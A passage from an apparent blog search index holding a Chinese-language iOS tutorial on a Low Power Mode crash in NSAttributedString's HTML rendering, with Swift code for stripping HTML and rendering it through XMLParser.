上進行實現、需要抽離新操作器時,也只要 New 新的 Class 實現即可。 閱讀:只需瀏覽各操作器物件即可知道整個頁面各個 View 的組成邏輯完整專案Murmur…2022/07 思維低谷期中撰寫的文章,內容如有描述不周、錯誤敬請海納!有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "自行實現 iOS NSAttributedString HTML Render", "url": "/posts/a8c2d26cc734/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, nsattributedstring, html-parsing, html, markdown", "date": "2022-06-10 00:11:59 +0800", "snippet": "自行實現 iOS NSAttributedString HTML RenderiOS NSAttributedString DocumentType.html 的替代方案Photo by Florian Olivo[TL;DR] 2023/03/12重新使用其他方式開發了 「 ZMarkupParser HTML String 轉換 NSAttributedString 工具 」 ,技術細節...", "content": "自行實現 iOS NSAttributedString HTML RenderiOS NSAttributedString DocumentType.html 的替代方案Photo by Florian Olivo[TL;DR] 2023/03/12重新使用其他方式開發了 「 ZMarkupParser HTML String 轉換 NSAttributedString 工具 」 ,技術細節及開發故事請前往「 手工打造 HTML 解析器的那些事 」起源從去年 iOS 15 發佈以來,App 始終被一項 Crash 問題長年霸榜,從數據來看,近 90 天 (2022/03/11~2022/06/08) 一共造成 2.4K+ 次閃退、影響 1.4K+ 位使用者。 此大量閃退問題從數據上看,官方應該已在 iOS ≥ 15.2 後續的版本修復(或減少發生機率),數據已呈現趨勢下降。最大宗受影響版本: iOS 15.0.X ~ iOS 15.X.X另外有發現 iOS 12、iOS 13 也有零星閃退數,所以此問題應該已存在許久,只是 iOS 15 前幾版發生的機率幾乎是 100%。閃退原因:<compiler-generated> line 2147483647 specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)NSAttributedString 在 init 時發生 Crashed: com.apple.main-thread EXC_BREAKPOINT 0x00000001de9d4e44 閃退問題。 亦有可能是操作的地方不在 Main Thread.重現方式:此問題大量橫空出世時,讓開發團隊想破腦袋;複測 Crash Log 上的點都沒問題,不清楚使用者是在什麼情況下發生的;直到有一次因緣巧合下我剛好切換成「省電模式」然後就觸發問題了! ! WTF ! ! !解答經過一番搜索發現網路上有許多相同案例,也從 App Developer Forums 找到最早的相同 閃退問題提問 ,並獲得來自 官方 的回答: 這是已知的 iOS Foundation Bug:自 iOS 12 就已存在 如要渲染複雜的、無使用上約束的 HTML:請使用 WKWebView 有渲染約束:可自行撰寫 HTML Parser & Render 直接使用 Markdown 做為渲染約束:iOS ≥ 15 NSAttributedString 可 直接使用 Markdown 格式渲染文字 渲染約束 的意思是限定 App 端能支援的渲染格式,例如只支援 粗體 、斜體、 超連結 。補充. 渲染複雜的 HTML — 想製作文饒圖效果可與後端共同協調ㄧ個介面:{ \"content\":[ {\"type\":\"text\",\"value\":\"第1段純文字\"}, {\"type\":\"text\",\"value\":\"第2段純文字\"}, {\"type\":\"text\",\"value\":\"第3段純文字\"}, {\"type\":\"text\",\"value\":\"第4段純文字\"}, {\"type\":\"image\",\"src\":\"https://zhgchg.li/logo.png\",\"title\":\"ZhgChgLi\"}, {\"type\":\"text\",\"value\":\"第5段純文字\"} ]}可與 Markdown 組合加上支援文字渲染,或參考 Medium 做法:\"Paragraph\": { \"text\": \"code in text, and link in text, and ZhgChgLi, and bold, and I, only i\", \"markups\": [ { \"type\": \"CODE\", \"start\": 5, \"end\": 7 }, { \"start\": 18, \"end\": 22, \"href\": \"http://zhgchg.li\", \"type\": \"LINK\" }, { \"type\": \"STRONG\", \"start\": 50, \"end\": 63 }, { \"type\": \"EM\", \"start\": 55, \"end\": 69 } ]}意思是 code in text, and link in text, and ZhgChgLi, and bold, and I, only i 這段文字的:- 第 5 到第 7 字元要標示為 程式碼 (用`Text`格式包裝)- 第 18 到第 22 字元要標示為 連結 (用[Text](URL)格式包裝)- 第 50 到第 63 字元要標示為 粗體(用*Text*格式包裝)- 第 55 到第 69 字元要標示為 斜體(用_Text_格式包裝)有規範&可描述的結構後,App 就能自行使用原生方式渲染,達到效能、使用體驗最佳化。 UITextView 做文饒圖的坑,可參考我之前的文章: iOS UITextView 文繞圖編輯器 (Swift)Why?在實踐解答之前我們先回歸探究問題本身,個人認為這個問題主因並非來自 Apple,官方的 Bug 只是這個問題的引爆點。問題主要來自 App 端被當成 Web 來進行渲染 ,優點是 Web 開發快速,同個 API Endpoint 可以不用區分 Client 都給 HTML、可以彈性渲染任何想呈現的內容;缺點是 HTML 並非 App 的常見接口、不能期望 App Engineer 懂 HTML、 效能極差 、只能在 Main Thread、開發階段無法預期結果、無法確認支援規格。再往上找問題,多半是原始需求無法確定、不能確定 App 需要支援哪些規格、為了求快,才導致直接使用 HTML 做為 App 與 Web 的接口。效能極差補充效能部分,實測直接使用 NSAttributedString DocumentType.html 與自行實現渲染的方式有 5~20 倍的速度差距。Better既然是 App 要用,更好的做法要以 App 開發方式為出發點,對 App 來說需求的調整成本比 Web 高很多;有效的 App 開發應該要基於有規格的迭代調整,當下需要確定能支援的規格,之後如果要改我們就安排時間擴充規格,無法快速的想改就改,可以減少溝通成本、增加工作效率。 確認需求範圍 確認支援的規格 確認接口規範 (Markdown/BBCode/…要繼續用 HTML 也行,但要是有約束的,例如只用 &lt;b&gt;/&lt;i&gt;/&lt;a&gt;/&lt;u&gt; ,要在程式 明確告知 開發者) 自行實現渲染機制 維護、迭代支援規格[2023/02/27 Updated] [TL;DR]:已更新做法,不使用 XMLParser,因容錯率為 0 :&lt;br&gt; / &lt;Congratulation!&gt; / &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; 以上三種有可能出現的情境 XMLParser 解析都會出錯直接 Throw Error 顯示空白。使用 XMLParser,HTML 字串必須完全符合 XML 規則,無法像瀏覽器或 NSAttributedString.DocumentType.html 容錯正常顯示。改使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。— —How?木已成舟,回歸正題,目前已用 HTML 在渲染 NSAttributedString 那我們該如何解決上述的閃退還有效能問題呢?Inspired byStrip HTML 去除 HTML在談 HTML Render 之前先談 Strip HTML,還是再提一次前文 Why? 章節所說的,App 哪裡會拿到 HTML、會拿到哪些 HTML 應該要在規格協定好;而不是 App 這邊「 可能 」會拿到 HTML,需要 Strip 掉。 套句之前主管的名言:這樣太瘋了吧?Option 1. NSAttributedStringlet data = \"<div>Text</div>\".data(using: .unicode)!let attributed = try NSAttributedString(data: data, options: [.documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue], documentAttributes: nil)let string = attributed.string 使用 NSAttributedString Render HTML 然後再取 string 出來就會是乾淨的 String 了 問題同本章問題,iOS 15 容易閃退、效能不好、只能在 Main Thread 操作Option 2. RegexhtmlString = \"<div>Test</div>\"htmlString.replacingOccurrences(of: \"<[^>]+>\", with: \"\", options: .regularExpression, range: nil) 最簡單有效的方式 Regex 並不能保證完全正確 e.g &lt;p foo=\"&gt;now what?\"&gt;Paragraph&lt;/p&gt; 是合法的 HTML 但會 Strip 錯誤Option 3. XMLParser參考 SwiftRichString 的做法,使用 Foundation 中的 XMLParser 將 HTML 做為 XML 解析自行實現 HTML Parser & Strip 功能。import UIKit// Ref: https://github.com/malcommac/SwiftRichStringfinal class HTMLStripper: NSObject, XMLParserDelegate { private static let topTag = \"source\" private var xmlParser: XMLParser private(set) var storedString: String // The XML parser sometimes splits strings, which can break localization-sensitive // string transforms. Work around this by using the currentString variable to // accumulate partial strings, and then reading them back out as a single string // when the current element ends, or when a new one is started. private var currentString: String? // MARK: - Initialization init(string: String) throws { let xmlString = HTMLStripper.escapeWithUnicodeEntities(string) let xml = \"<\\(HTMLStripper.topTag)>\\(xmlString)</\\(HTMLStripper.topTag)>\" guard let data = xml.data(using: String.Encoding.utf8) else { throw XMLParserInitError(\"Unable to convert to UTF8\") } self.xmlParser = XMLParser(data: data) self.storedString = \"\" super.init() xmlParser.shouldProcessNamespaces = false xmlParser.shouldReportNamespacePrefixes = false xmlParser.shouldResolveExternalEntities = false xmlParser.delegate = self } /// Parse and generate attributed string. func parse() throws -> String { guard xmlParser.parse() else { let line = xmlParser.lineNumber let shiftColumn = (line == 1) let shiftSize = HTMLStripper.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) } return storedString } // MARK: XMLParserDelegate @objc func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { foundNewString() } @objc func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { foundNewString() } @objc func parser(_ parser: XMLParser, foundCharacters string: String) { currentString = (currentString ?? \"\").appending(string) } // MARK: Support Private Methods func foundNewString() { if let currentString = currentString { storedString.append(currentString) self.currentString = nil } } // handle html entity / html hex // Perform string escaping to replace all characters which is not supported by NSXMLParser // into the specified encoding with decimal entity. // For example if your string contains '&' character parser will break the style. // This option is active by default. // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift static func escapeWithUnicodeEntities(_ string: String) -> String { guard let escapeAmpRegExp = try? NSRegularExpression(pattern: \"&(?!(#[0-9]{2,4}|[A-z]{2,6});)\", options: NSRegularExpression.Options(rawValue: 0)) else { return string } let range = NSRange(location: 0, length: string.count) return escapeAmpRegExp.stringByReplacingMatches(in: string, options: NSRegularExpression.MatchingOptions(rawValue: 0), range: range, withTemplate: \"&amp;\") }}let test = \"我<br/><a href=\\\"http://google.com\\\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\\\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\\\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\\\"background-color:#00FF00;\\\">使用</span>,並已<img src=\\\"g.png\\\"/>了解跨境<br/>商品之物<p>流需</p>求\"let stripper = try HTMLStripper(string: test)print(try! stripper.parse())// 我同意提供個人身分證 字號/護照/居留證號碼,以供跨境物流方通關使用,並已了解跨境商品之物流需求使用 Foundation XML Parser 去處理 String,實現 XMLParserDelegate 用 currentString 存放 String,因 String 有時會拆成多個 String 所以 foundCharacters 是有機會被重複呼叫的, didStartElement 、 didEndElement 找到字串開始時、結束時,將當前結果存下並清空 currentString 。 優點是會連帶轉換 HTML Entity to 實際字元 e.g. &#103; -&gt; g 優點是實現複雜、遇到不合規格的 HTML 會 XMLParser 失敗 e.g. &lt;br&gt; 忘了寫成 &lt;br/&gt; 個人認為單純要 Strip HTML Option 2. 是比較好的方法 ,會介紹此方法是因為 Render HTML 也是使用相同原理,先用這個做為簡單範例 :)HTML Render w/XMLParser使用 XMLParser 自行實現,同 Strip 原理,我們可以多加上剖析到什麼 Tag 時要做對應的渲染方式。需求規格: 支援擴充想剖析的 Tag 支援設定 Tag Default Style e.g <a> Tag 套用連結樣式 支援剖析 style Attributed,因 HTML 會在 style=\"color:red\" 上去明示要顯示的樣式 樣式支援更改文字粗細、大小、底線、行距、字距、背景顏色、字顏色 不支援 Image Tag、Table Tag…等較複雜 TAG 大家可依照自己的規格需求去刪減功能,例如不需支援背景顏色調整,則不需要開出可設定背景顏色的口。 本文只是概念實現, 並非架構上的 Best Practice ;如有明確規格、使用方式,可考慮套用些 Design Pattern 來實現,達成好維護好擴充。⚠️⚠️⚠️ Attention ⚠️⚠️⚠️再次提醒, 如果你的 App 是全新的或有機會直接全改成 Markdown 格式,建議還是採用以上方式,本篇自行撰寫 Render 太複雜且效能不會比 Markdown 好 。 即使你是 iOS < 15 不支援原生 Markdown,還是可以在 Github 上找到 大神做好的 Markdown Parser 方案 。HTMLTagParserprotocol HTMLTagParser { static var tag: String { get } // 宣告想解析的 Tag Name, e.g. a var storedHTMLAttributes: [String: String]? { get set } // Attributed 解析結果將存放於此, e.g. href,style var style: AttributedStringStyle? { get } // 此 Tag 想套用的樣式 func render(attributedString: inout NSMutableAttributedString) // 實現渲染 HTML to attributedString 的邏輯}宣告可剖析的 HTML Tag 實體,方便擴充管理。AttributedStringStyleprotocol AttributedStringStyle { var font: UIFont? { get set } var color: UIColor? { get set } var backgroundColor: UIColor? { get set } var wordSpacing: CGFloat? { get set } var paragraphStyle: NSParagraphStyle? { get set } var customs: [NSAttributedString.Key: Any]? { get set } // 萬能設定口,建議確定可支援規格後將其抽象出來,並關閉此開口 func render(attributedString: inout NSMutableAttributedString)}// abstract implementextension AttributedStringStyle { func render(attributedString: inout NSMutableAttributedString) { let range = NSMakeRange(0, attributedString.length) if let font = font { attributedString.addAttribute(NSAttributedString.Key.font, value: font, range: range) } if let color = color { attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) } if let backgroundColor = backgroundColor { attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: backgroundColor, range: range) } if let wordSpacing = wordSpacing { attributedString.addAttribute(NSAttributedString.Key.kern, value: wordSpacing as Any, range: range) } if let paragraphStyle = paragraphStyle { attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) } if let customAttributes = customs { attributedString.addAttributes(customAttributes, range: range) } }}宣告 Tag 可供設定的樣式。HTMLStyleAttributedParser// only support tag attributed down below// can set color,font seize,line height,word spacing,background colorenum HTMLStyleAttributedParser: String { case color = \"color\" case fontSize = \"font-size\" case lineHeight = \"line-height\" case wordSpacing = \"word-spacing\" case backgroundColor = \"background-color\" func render(attributedString: inout NSMutableAttributedString, value: String) -> Bool { let range = NSMakeRange(0, attributedString.length) switch self { case .color: if let color = convertToiOSColor(value) { attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range) return true } case .backgroundColor: if let color = convertToiOSColor(value) { attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: color, range: range) return true } case .fontSize: if let size = convertToiOSSize(value) { attributedString.addAttribute(NSAttributedString.Key.font, value: UIFont.systemFont(ofSize: CGFloat(size)), range: range) return true } case .lineHeight: if let size = convertToiOSSize(value) { let paragraphStyle = NSMutableParagraphStyle() paragraphStyle.lineSpacing = size attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range) return true } case .wordSpacing: if let size = convertToiOSSize(value) { attributedString.addAttribute(NSAttributedString.Key.kern, value: size, range: range) return true } } return false } // convert 36px -> 36 private func convertToiOSSize(_ string: String) -> CGFloat? { guard let regex = try? NSRegularExpression(pattern: \"^([0-9]+)\"), let firstMatch = regex.firstMatch(in: string, options: [], range: NSRange(location: 0, length: string.utf16.count)), let range = Range(firstMatch.range, in: string), let size = Float(String(string[range])) else { return nil } return CGFloat(size) } // convert html hex color #ffffff to UIKit Color private func convertToiOSColor(_ hexString: String) -> UIColor? { var cString: String = hexString.trimmingCharacters(in: .whitespacesAndNewlines).uppercased() if cString.hasPrefix(\"#\") { cString.remove(at: cString.startIndex) } if (cString.count) != 6 { return nil } var rgbValue: UInt64 = 0 Scanner(string: cString).scanHexInt64(&rgbValue) return UIColor( red: CGFloat((rgbValue & 0xFF0000) >> 16) / 255.0, green: CGFloat((rgbValue & 0x00FF00) >> 8) / 255.0, blue: CGFloat(rgbValue & 0x0000FF) / 255.0, alpha: CGFloat(1.0) ) }}實現 Style Attributed Parser 解析 style=\"color:red;font-size:16px\" 但 CSS Style 有非常多可設定樣式,所以需要列舉可支援範圍。extension HTMLTagParser { func render(attributedString: inout NSMutableAttributedString) { defaultStyleRender(attributedString: &attributedString) } func defaultStyleRender(attributedString: inout NSMutableAttributedString) { // setup default style to NSMutableAttributedString style?.render(attributedString: &attributedString) // setup & override HTML style (style=\"color:red;background-color:black\") to NSMutableAttributedString if is exists // any html tag can have style attribute if let style = storedHTMLAttributes?[\"style\"] { let styles = style.split(separator: \";\").map { $0.split(separator: \":\") }.filter { $0.count == 2 } for style in styles { let key = String(style[0]) let value = String(style[1]) if let styleAttributed = HTMLStyleAttributedParser(rawValue: key), styleAttributed.render(attributedString: &attributedString, value: value) { print(\"Unsupport style attributed or value[\\(key):\\(value)]\") } } } }}套用 HTMLStyleAttributedParser & HTMLStyleAttributedParser 抽象實現。一些 Tag Parser & AttributedStringStyle 的實現範例struct LinkStyle: AttributedStringStyle { var font: UIFont? = UIFont.systemFont(ofSize: 14) var color: UIColor? = UIColor.blue var backgroundColor: UIColor? = nil var wordSpacing: CGFloat? = nil var paragraphStyle: NSParagraphStyle? var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]}struct ATagParser: HTMLTagParser { // <a></a> static let tag: String = \"a\" var storedHTMLAttributes: [String: String]? = nil let style: AttributedStringStyle? = LinkStyle() func render(attributedString: inout NSMutableAttributedString) { defaultStyleRender(attributedString: &attributedString) if let href = storedHTMLAttributes?[\"href\"], let url = URL(string: href) { let range = NSMakeRange(0, attributedString.length) attributedString.addAttribute(NSAttributedString.Key.link, value: url, range: range) } }}struct BoldStyle: AttributedStringStyle { var font: UIFont? = UIFont.systemFont(ofSize: 14, weight: .bold) var color: UIColor? = UIColor.black var backgroundColor: UIColor? = nil var wordSpacing: CGFloat? = nil var paragraphStyle: NSParagraphStyle? var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]}struct BoldTagParser: HTMLTagParser { // <b></b> static let tag: String = \"b\" var storedHTMLAttributes: [String: String]? = nil let style: AttributedStringStyle? = BoldStyle()}struct SpanTagParser: HTMLTagParser { // <span></span> static let tag: String = \"span\" var storedHTMLAttributes: [String: String]? = nil var style: AttributedStringStyle? = DefaultTextStyle()}HTMLToAttributedStringParser: XMLParserDelegate 核心實現// Ref: https://github.com/malcommac/SwiftRichStringfinal class HTMLToAttributedStringParser: NSObject { private static let topTag = \"source\" private var xmlParser: XMLParser? private(set) var attributedString: NSMutableAttributedString = NSMutableAttributedString() private(set) var supportedTagRenders: [HTMLTagParser] = [] private let defaultStyle: AttributedStringStyle /// Styles applied at each fragment. private var renderingTagRenders: [HTMLTagParser] = [] // The XML parser sometimes splits strings, which can break localization-sensitive // string transforms. Work around this by using the currentString variable to // accumulate partial strings, and then reading them back out as a single string // when the current element ends, or when a new one is started. private var currentString: String? // MARK: - Initialization init(defaultStyle: AttributedStringStyle) { self.defaultStyle = defaultStyle super.init() } func register(_ tagRender: HTMLTagParser) { if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == type(of: tagRender).tag }) { supportedTagRenders.remove(at: index) } supportedTagRenders.append(tagRender) } /// Parse and generate attributed string. func parse(string: String) throws -> NSAttributedString { var xmlString = HTMLToAttributedStringParser.escapeWithUnicodeEntities(string) // make sure <br/> format is correct XML // because Web may use <br> to present <br/>, but <br> is not a vaild XML xmlString = xmlString.replacingOccurrences(of: \"<br>\", with: \"<br/>\") let xml = \"<\\(HTMLToAttributedStringParser.topTag)>\\(xmlString)</\\(HTMLToAttributedStringParser.topTag)>\" guard let data = xml.data(using: String.Encoding.utf8) else { throw XMLParserInitError(\"Unable to convert to UTF8\") } let xmlParser = XMLParser(data: data) xmlParser.shouldProcessNamespaces = false xmlParser.shouldReportNamespacePrefixes = false xmlParser.shouldResolveExternalEntities = false xmlParser.delegate = self self.xmlParser = xmlParser attributedString = NSMutableAttributedString() guard xmlParser.parse() else { let line = xmlParser.lineNumber let shiftColumn = (line == 1) let shiftSize = HTMLToAttributedStringParser.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2 let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0) throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column) } return attributedString }}// MARK: Private Methodprivate extension HTMLToAttributedStringParser { func enter(element elementName: String, attributes: [String: String]) { // elementName = tagName, EX: a,span,div... guard elementName != HTMLToAttributedStringParser.topTag else { return } if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == elementName }) { var tagRender = supportedTagRenders[index] tagRender.storedHTMLAttributes = attributes renderingTagRenders.append(tagRender) } } func exit(element elementName: String) { if !renderingTagRenders.isEmpty { renderingTagRenders.removeLast() } } func foundNewString() { if let currentString = currentString { // currentString != nil ,ex: <i>currentString</i> var newAttributedString = NSMutableAttributedString(string: currentString) if !renderingTagRenders.isEmpty { for (key, tagRender) in renderingTagRenders.enumerated() { // Render Style tagRender.render(attributedString: &newAttributedString) renderingTagRenders[key].storedHTMLAttributes = nil } } else { defaultStyle.render(attributedString: &newAttributedString) } attributedString.append(newAttributedString) self.currentString = nil } else { // currentString == nil ,ex: <br/> var newAttributedString = NSMutableAttributedString() for (key, tagRender) in renderingTagRenders.enumerated() { // Render Style tagRender.render(attributedString: &newAttributedString) renderingTagRenders[key].storedHTMLAttributes = nil } attributedString.append(newAttributedString) } }}// MARK: Helperextension HTMLToAttributedStringParser { // handle html entity / html hex // Perform string escaping to replace all characters which is not supported by NSXMLParser // into the specified encoding with decimal entity. // For example if your string contains '&' character parser will break the style. // This option is active by default. // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift static func escapeWithUnicodeEntities(_ string: String) -> String { guard let escapeAmpRegExp = try? NSRegularExpression(pattern: \"&(?!(#[0-9]{2,4}|[A-z]{2,6});)\", options: NSRegularExpression.Options(rawValue: 0)) else { return string } let range = NSRange(location: 0, length: string.count) return escapeAmpRegExp.stringByReplacingMatches(in: string, options: NSRegularExpression.MatchingOptions(rawValue: 0), range: range, withTemplate: \"&amp;\") }}// MARK: XMLParserDelegateextension HTMLToAttributedStringParser: XMLParserDelegate { func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) { foundNewString() enter(element: elementName, attributes: attributeDict) } func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) { foundNewString() guard elementName != HTMLToAttributedStringParser.topTag else { return } exit(element: elementName) } func parser(_ parser: XMLParser, foundCharacters string: String) { currentString = (currentString ?? \"\").appending(string) }}套用 Strip 的邏輯,我們可以幫拆好的架構在其中進行組合從 elementName 知道當前的 Tag 並套用相應的 Tag Parser 及套上定義好的 Style。Test Resultlet test = \"我<br/><a href=\\\"http://google.com\\\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\\\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\\\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\\\"background-color:#00FF00;\\\">使用</span>,並已<img src=\\\"g.png\\\"/>了解跨境<br/>商品之物<p>流需</p>求\"let render = HTMLToAttributedStringParser(defaultStyle: DefaultTextStyle())render.register(ATagParser())render.register(BoldTagParser())render.register(SpanTagParser())//...print(try! render.parse(string: test))// Result:// 我{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }同意{// NSColor = \"UIExtendedSRGBColorSpace 0 0 1 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSLink = \"http://google.com\";// NSUnderline = 1;// }提供{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }個{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Bold 14.00 pt. P [] (0x13a013870) fobj=0x13a013870, spc=3.46\\\"\";// NSUnderline = 1;// }人身分證字號/護照/居留{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }證號碼{// NSColor = \"UIExtendedSRGBColorSpace 1 0 0 1\";// NSFont = \"\\\".SFNS-Regular 20.00 pt. P [] (0x13a015fa0) fobj=0x13a015fa0, spc=4.82\\\"\";// NSKern = 10;// NSParagraphStyle = \"Alignment 4, LineSpacing 10, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// },以供跨境物流方通關{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }使用{// NSBackgroundColor = \"UIExtendedSRGBColorSpace 0 1 0 1\";// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// },並已了解跨境商品之物流需求{// NSColor = \"UIExtendedGrayColorSpace 0 1\";// NSFont = \"\\\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\\\"\";// NSParagraphStyle = \"Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\\n 28L,\\n 56L,\\n 84L,\\n 112L,\\n 140L,\\n 168L,\\n 196L,\\n 224L,\\n 252L,\\n 280L,\\n 308L,\\n 336L\\n), DefaultTabInterval 0, Blocks (\\n), Lists (\\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''\";// }顯示結果:Done!這樣我們就完成了透過 XMLParser 自行實現 HTML Render 功能,並且保留擴充性跟規格性,可以從 